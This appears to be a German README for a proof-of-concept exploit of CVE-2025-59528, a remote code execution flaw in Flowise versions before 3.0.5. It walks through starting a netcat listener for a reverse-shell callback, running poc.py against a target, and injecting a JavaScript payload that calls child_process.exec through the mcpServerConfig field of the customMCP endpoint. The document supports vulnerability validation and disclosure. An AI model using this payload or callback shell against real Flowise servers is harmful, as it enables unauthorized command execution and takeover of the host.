Version française

CVE-2025-59528 Proof of Concept

Minimaler PoC, der auf die technische Validierung der Schwachstelle in einer autorisierten Umgebung ausgerichtet ist.

Voraussetzungen

• Sie müssen über ein Benutzerkonto im Ziel-Flowise-Dashboard verfügen.
• Sie müssen über einen gültigen API-Schlüssel verfügen, der mit diesem Konto verknüpft ist.
• Sie müssen vor der Ausführung des PoC einen Listener auf Ihrem Callback-Host starten (Beispiel: nc -lvn 4444).

Anwendungsbeispiel

Starten Sie zuerst den Listener:

nc -lvn 4444

python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY

Ersetzen Sie die Werte mit den Einstellungen Ihrer autorisierten Umgebung.

CVE-Zusammenfassung

• Betroffenes Produkt: Flowise
• Betroffene Versionen: niedriger als 3.0.5
• Typ: Remote Code Execution (RCE)
• Einstiegspunkt: POST /api/v1/node-load-method/customMCP Endpoint

Das Problem liegt in der Verarbeitung von inputs.mcpServerConfig: Dieser Wert wird auf eine Weise interpretiert, die serverseitige JavaScript-Ausführung ermöglicht. In der Praxis kann ein authentifizierter Angreifer einen Ausdruck injizieren, der child_process aufruft und einen Betriebssystembefehl ausführt.

Ausnutzungsmechanismus

Der Ablauf der Ausnutzung ist:

1. Erstellen Sie eine Anfrage an den customMCP-Endpoint.
2. Platzieren Sie einen bösartigen JavaScript-Ausdruck in mcpServerConfig.
3. Lösen Sie process.mainModule.require('child_process') aus.
4. Führen Sie einen Betriebssystembefehl aus (exec/execSync).

Wenn akzeptiert, führt der Server den Befehl in seinem Systemkontext aus.

So funktioniert dieser PoC (poc.py)

Das Skript akzeptiert vier Argumente:

• -d/--domain: Zieldomain
• -lh/--host: Callback-IP
• -lp/--port: Callback-Port
• -A/--api: Bearer-API-Token

Danach:

1. Erstellt es die verwundbare URL: http://<domain>/api/v1/node-load-method/customMCP
2. Fügt es den Authorization: Bearer <token>-Header hinzu
3. Bereitet es einen Callback-Shell-Befehl vor
4. Injiziert es diesen Befehl in einen JS-Ausdruck:

({
  x: (function () {
    const cp = process.mainModule.require("child_process");
    cp.exec("<commande>");
    return 1;
  })(),
});

5. Sendet es dieses JSON:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "<injected JS expression>"
  }
}

6. Gibt es den HTTP-Status und die rohe Antwort zur Validierung aus.

Warum dieser PoC besser ist (vs. EDB 52440)

Im Vergleich zum EDB-PoC (der einen E-Mail/Passwort-Login durchführt, browserähnliche Header verwendet und einen frei formulierbaren --cmd ausführt), ist dieses Skript besser für die reine PoC-Validierung geeignet:

1. Direkter: kein Login-Ablauf und weniger unnötiges HTTP-Rauschen.
2. Geringere Bruchfläche: weniger Schritte, die an Frontend/Auth-Konfiguration gebunden sind.
3. CI-freundliche Automatisierung: einfache Argumente und schnelle Ausgabe.
4. Klarere Validierung: Status + Body werden sofort ausgegeben.
5. Fokussiert auf den Kern-CVE-Pfad: mcpServerConfig-Injektion und serverseitige Ausführung.

Kurz gesagt: Das EDB-Skript ist eine generischere offensive Demo, während dieser PoC gezielter auf technische Reproduzierbarkeit ausgerichtet ist.

Aktuelle Einschränkungen

• Setzt voraus, dass bereits ein gültiges API-Token existiert.
• Kein https-Modus oder Zertifikatsbehandlung.
• Keine Retry/Backoff-Logik.
• Der Callback-Befehl ist fest codiert (noch nicht über --cmd parametrisiert).

Verantwortungsvolle Nutzung

Testen Sie nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung haben.